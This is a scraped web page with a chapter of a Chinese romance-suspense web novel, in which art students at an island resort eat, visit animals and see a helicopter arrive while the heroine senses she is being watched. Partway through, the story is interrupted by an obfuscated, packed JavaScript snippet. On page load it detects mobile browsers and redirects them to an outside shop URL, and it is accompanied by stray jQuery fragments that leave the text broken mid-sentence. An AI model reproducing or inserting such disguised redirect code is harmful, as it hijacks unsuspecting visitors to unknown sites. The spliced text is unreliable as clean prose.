文趣网 > 其他小说 > 禁忌线 > 12. Chapter 12
    海岛的清晨,太阳缓缓吐出日光。

    梁婉推开窗,她的房间前正对着红栗云椴,树丛茂密摇晃,可以看到风的形状。

    几只松鼠和鸟跳到窗边来要吃的,梁婉给了它们一些干果,松鼠和小鸟在树枝上欢快跳着,它们小小的脸上看上去没有忧愁的样子。

    女生们都醒了,妆容精致,约着去吃早餐,餐厅里摆满了鲜花与早点,各种空运来的食材现场烹饪,甜酒鹅肝、大丽花鲈鱼、松露意面,各种法意餐料理,饱满鱼盘里盛着金黄色的龙虾汤和马赛鱼汤,大厅里流淌着精致的冷气,混杂着食物溅出的几滴油脂香气。

    几个女孩坐在雪白餐桌前,随便点了几份料理,怀斯戴尔叫来服务生,这个侍应生肩宽魁梧,体型壮硕,昨天她就注意到了他,她仔细打量他,他很年轻,身穿紧身制服,一身古铜色皮肤,外语流利。

    “一杯威士忌,不加水。”

    怀斯黛尔每天醒来后都要喝一杯威士忌,她把一张百元美钞轻轻塞进侍应生紧扣的腰带里,问他叫什么名字。

    “彼得。”

    “哦,彼得。”

    彼得在吧台做刨冰,他的面前摆放着罗勒、茉莉和鼠尾草,他凿冰块,粗壮有力的大手不停劳作,绿岛天气炎热,客人们都会点些冷食,他的工作十分忙碌,挺拔的鼻梁流出汗水,沿着粗壮的脖颈滴到胸口。

    女孩们不出声看了很久,怀斯戴尔十分慷慨地又给每人都点了一份薄荷刨冰,桌上摆满幽绿色,大家看得很专注很满意。不一会儿男生们也来了,他们睡意惺忪的,抱怨昨晚没有睡好。

    “晚上森林里到处都是虫鸣,啊,还有新闻里说螃蟹起义了,把海湾都占了,船都走不了。”

    “比螃蟹更可恶的是鸟,早上我被什么鸟站在窗外喊醒,很大声!它叫得真的很大声!”

    “对对,那些鸟一直在吵,整宿整宿开会呢,我说它们也不找点事做。”

    叶子文说他的房间里还有壁虎,长着吸盘在墙上爬来爬去。

    “我的房间有猴子,跟我要吃的,不给就唱歌。”

    那些猴子大早上就开始展露美妙歌喉了,他们都遭受了不同程度的噪音入侵。

    叶子文说他已经跟管家反馈了,酒店会尽快处理。

    他坐在梁婉对面:“梁婉,你也没睡好吗?”

    他说她眼底有点青。

    梁婉用很低的声音嗯了声。

    叶子文四顾张望:“纪寻呢?”

    “还没起吧,他起床了吗?”

    男生们催促他:“叶子文,你去叫他。”

    “我才不去,他起床气很恐怖的。”

    餐点陆续摆上来,怀斯黛尔冷酷地把白面包和罗勒面推给梁婉:“你再喝点松茸鸡汤?你还爱吃什么?”

    男生们举手说他们也想喝。

    “你们自己点,这是梁婉的,你们要跟病号抢吃的吗?”

    “那把面包撕给我一点吧。”

    “我也要。”

    他们打打闹闹互相抢吃的,餐后大家相约一起去马场看动物,雨后潮湿朦胧,森林中漂浮着鹅绒般的雾气,年轻的少男少女穿过静静起雾的青绿色溪水,湿滑的苔藓上依稀闪过几抹狐狸与野兽的痕迹。

    马场旁边是鹿场,地上潮湿软泥,踩一下会落一个小窝,一行人踮着脚尖走,山林里有很多黄柳桉树,树干高大浓密,他们在桉树后看到了放养的羊驼群和鹿群。

    叶子文对着几头迎宾羊驼打招呼,羊驼吐了他一脸唾沫,追着他狂奔,怀斯黛尔在不远处喂鹿吃苔藓,鹿用湿漉漉的鼻子拱人,奔跑的叶子文引起了鹿的注意,鹿把他撞飞了,叶子文摔在了高高的草丛上,那种飞起来的感觉很奇妙。

    马厩里在配马,一匹漂亮的枣红色公马紧紧贴着母马臀部,马腿用力抖动,学生们在那里站着看了会儿,都若有所思。

    工作人员介绍说这匹公马正在发情期,情绪暴躁,大家要保持安静,不然它会情绪失控发怒。

    叶子文从草堆里艰难地爬出来,看到大家走在围观什么,很好奇:“你们在干嘛?”

    “我去,你们在看什么!非礼勿视!”

    他的声音很大,公马掉过头来,雄赳赳盯着他,嘶鸣一声挣脱了缰绳。

    “快跑啊,叶子文,这个公马盯上你了。”

    “哇,叶子文你不要往我们这边跑啊。”

    他们到处跑来跑去,工作人间竭力控制,场面一度混乱。

    梁婉安静地待在森林边,脚下花丛拂过她的脚腕,她捧住脸想了会,看着手机发来的消息,纪寻问他起没起床,她说已经吃完早餐了。

    “怎么没叫我呀。”

    “看剑,梁婉。”

    “我等会去找你,梁婉。”

    梁婉感觉脚尖痒痒的,在地上看到了一只小乌龟。

    她在那里仔细看乌龟的脚,观察着它们,摆来摆去真可爱。

    怀斯黛尔走过来,弯身打量它:“这是海龟还是陆龟啊?”

    “不知道。”梁婉说她跟这只乌龟不太熟。

    怀斯戴尔点点头,忽然问她:“梁婉,你那个好朋友没来吗?”

    梁婉不知道她说的是谁。

    “那个社会福利生,不是只有你跟他玩吗?”

    “哦,周挽来了,但是他没有跟我们一起吃早餐。”

    “是嘛。”怀斯戴尔哼了声,“他来了也挺好的,老头布置的作业我还没画呢,他那样的人给钱就会画吧,走了,叶子文跟马刚刚和解了,我们喝茶去。”

    回去的路上又下起雨,丛林的旋风席卷着火山灰烬滚滚而来,男孩女孩们在草地上奔跑着,鲜嫩的雨声传遍天地。

    “这里怎么总是湿乎乎下雨啊?”

    “绿岛天气就是这样的。”

    热带天气溽热,雨多且疾,他们待在长廊外躲雨,喝着咖啡等雨停。

    “昨晚住的怎么样?”

    宁芙恰巧路过,关心询问客人的入住体验。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788776|210283||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>美术班普遍反映有点吵,晚上和早晨有很多动物在叫,不过白天挺好玩的,今天他们都玩得满头大汗。

    “关于噪音的问题我们会及时解决。”宁芙郑重对每位客人表达了歉意,同时为每人送了一份SPA服务,学生们对她说谢谢,同时都看到了她怀里雪白的山茶花。

    宁芙也注意到了他们的视线,笑着说花是纪寻从花园里新鲜采摘的,大家想要也可以去采。

    等她转身一走学生们都悄悄说话:“她昨天怀里也抱了一把山茶花。”

    “昨天那个也是纪寻送的,昨天纪寻的花都不好了,我认得那个花。”

    他们都很奇怪:“纪寻连续两天送她花,是什么意思啊?”

    “谁知道,不过纪寻还挺浪漫的嘛。”

    “他那么多女朋友呢,肯定有经验啦。”

    他们看着宁芙高挑美丽的背影议论:“话说宁芙小姐真漂亮啊,而且好有气质。

    “人家都订婚了。”

    他们想到跟宁芙订婚的那位大人物,都悻悻噤了声。

    “梁婉,你怎么不说话啊?”

    他们注意到梁婉全程一声不吭。

    梁婉说自己刚刚在想作业的事。

    “哦,画草莓的事吧,我也没画好。”外面的空地上起了风,一阵躁动,树上的叶子纷纷落下来,他们把咖啡上漂浮的叶子吹掉。

    梁婉低着头,把手停在膝盖上,手心里握着一片扎人的荨麻叶,她的眼底淡淡发着青痕。

    学生们聊着天,草地上噪音越来越大,他们看到草坪被直升机的气流压弯,发出一阵嘈杂的机械噪音。

    “搞什么啊,之前不是说了不能停飞机吗?”

    他们当初坐大巴颠得那样辛苦。

    而且这阵仗也太夸张了吧。

    一架豪华直升机从天空盘旋降落,在雨幕中发出耀眼的冷光,叶子文举着望远镜说这是私人定制的西科斯基VH-92,标价两亿美金,之前都没见它在国内飞过。

    他们都不由伸长了脖子,想看看里面的人出来。

    “这是谁啊?”

    “不知道,没看清。”

    十几个黑衣保镖前拥后簇撑着黑伞,他们都没看清楚。

    梁婉趴在桌上,没有望向那边,咖啡里的冰块正在慢慢化开,她忽然感到一阵强烈的毛骨悚然。

    有那么一瞬间,她背后的那股凉意又传来了。

    她僵硬转过头,就像猎物被猎人盯上的猝然惊恐。

    酒店的管理层都出来迎接了,标记着私人订制的巨型奢侈品礼盒成箱向下搬运,草坪上到处是黑压压的雨伞和人影。

    她看向那里,却什么都看不到,身体在漂浮的雨幕中微微发抖。

    那股冷意还在继续,缓缓蔓延,从发梢到手指,四肢百骸,传遍她的身体。

    梁婉头皮发麻,战栗着望向前方,感到无法呼吸。

    这一次,她确信,在人群中,有一双冰冷的眼睛正在注视她。